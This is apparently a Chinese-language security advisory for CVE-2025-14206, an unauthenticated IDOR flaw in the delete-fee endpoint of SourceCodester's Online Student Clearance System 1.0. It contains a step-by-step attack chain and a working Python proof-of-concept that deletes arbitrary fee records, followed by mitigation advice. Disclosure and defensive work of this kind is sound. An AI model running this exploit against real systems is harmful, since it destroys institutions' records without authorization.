IPBUF安全漏洞报告
English
CVE-2025-14206 CVSS 6.5 中危

CVE-2025-14206 | SourceCodester学生清算系统不当授权漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-14206
漏洞类型
不当授权
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Student Clearance System 1.0

相关标签

CVE-2025-14206不当授权IDORSourceCodesterOnline Student Clearance SystemWeb应用安全访问控制PHP中危漏洞

漏洞概述

CVE-2025-14206是SourceCodester公司开发的学生在线清算系统1.0版本中的一个安全漏洞。该漏洞存在于Admin/delete-fee.php文件中,涉及费用表处理组件(Fee Table Handler)的某个未知功能。攻击者可以通过操纵ID参数来利用此漏洞,导致不当授权问题。漏洞的CVSS评分为6.5,属于中等严重程度,攻击向量为网络层面,攻击者无需认证和用户交互即可发起攻击。该漏洞已公开披露,意味着一旦被恶意利用,可能导致未经授权的用户删除系统中的费用记录,对学生清算系统的数据完整性和可用性造成影响。漏洞影响系统的机密性(低)和完整性(低),可用性影响也为低。鉴于该漏洞已公开披露且利用难度较低,建议相关用户尽快采取修复措施。

技术细节

该漏洞位于SourceCodester Online Student Clearance System 1.0的/Admin/delete-fee.php文件中,是一个典型的不当授权(Insecure Direct Object Reference, IDOR)漏洞。漏洞的根本原因在于程序对用户提交的ID参数缺乏充分的授权验证。在正常的业务逻辑中,删除费用记录应该验证当前用户是否有权限执行该操作,但由于代码中缺少相应的权限检查,任何能够访问该端点的用户都可以通过修改ID参数来删除任意费用记录。攻击者可以利用此漏洞执行以下操作:首先访问系统的费用管理页面,获取有效的费用记录ID;然后构造恶意请求,将目标费用记录的ID作为参数传递给delete-fee.php;最后发送HTTP请求执行删除操作。由于系统未验证请求发起者是否拥有目标记录的删除权限,因此攻击者可以在未授权的情况下删除任意费用数据。此类漏洞通常与Web应用的访问控制机制不完善有关,开发者应实施基于角色的访问控制(RBAC)并对所有敏感操作进行权限验证。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者访问目标网站的学生清算系统,识别出/Admin/delete-fee.php端点
STEP 2
步骤2
枚举阶段:攻击者浏览费用管理页面,获取系统中存在的费用记录ID列表
STEP 3
步骤3
构造攻击:攻击者构造恶意HTTP请求,将目标费用记录的ID作为参数(ID)传递给delete-fee.php
STEP 4
步骤4
利用阶段:由于系统未验证用户权限,攻击者无需认证即可成功删除任意费用记录
STEP 5
步骤5
影响确认:被删除的费用数据无法恢复,导致数据完整性丧失,可能影响学生的清算流程

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14206 PoC - Improper Authorization in delete-fee.php # Target: SourceCodester Online Student Clearance System 1.0 def exploit(target_url, fee_id): """ Exploit improper authorization vulnerability in /Admin/delete-fee.php Args: target_url: Base URL of the vulnerable application fee_id: ID of the fee record to delete (unauthorized) Returns: bool: True if exploitation appears successful """ # Construct the malicious request delete_url = f"{target_url}/Admin/delete-fee.php" # The vulnerable parameter is 'ID' which is not properly validated payload = { 'ID': fee_id } try: # Send GET or POST request (depending on implementation) # Try POST first as it's more common for delete operations response = requests.post(delete_url, data=payload, timeout=10) # Check if the request was successful if response.status_code == 200: print(f"[+] Request sent to delete fee ID: {fee_id}") print(f"[+] Response status: {response.status_code}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_url> <fee_id>") print(f"Example: python {sys.argv[0]} http://localhost/student-clearance 5") sys.exit(1) target_url = sys.argv[1].rstrip('/') fee_id = sys.argv[2] print(f"[*] CVE-2025-14206 PoC") print(f"[*] Target: {target_url}") print(f"[*] Fee ID to delete: {fee_id}") exploit(target_url, fee_id) if __name__ == '__main__': main()

影响范围

SourceCodester Online Student Clearance System 1.0

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时缓解措施:1)限制/Admin/delete-fee.php的访问权限,仅允许受信任的IP地址访问;2)通过Web应用防火墙(WAF)规则拦截异常请求模式;3)对管理后台实施额外的身份验证机制,如双因素认证;4)定期备份数据库以便在数据被恶意删除时能够恢复;5)启用详细的访问日志记录,监控可疑的删除操作行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表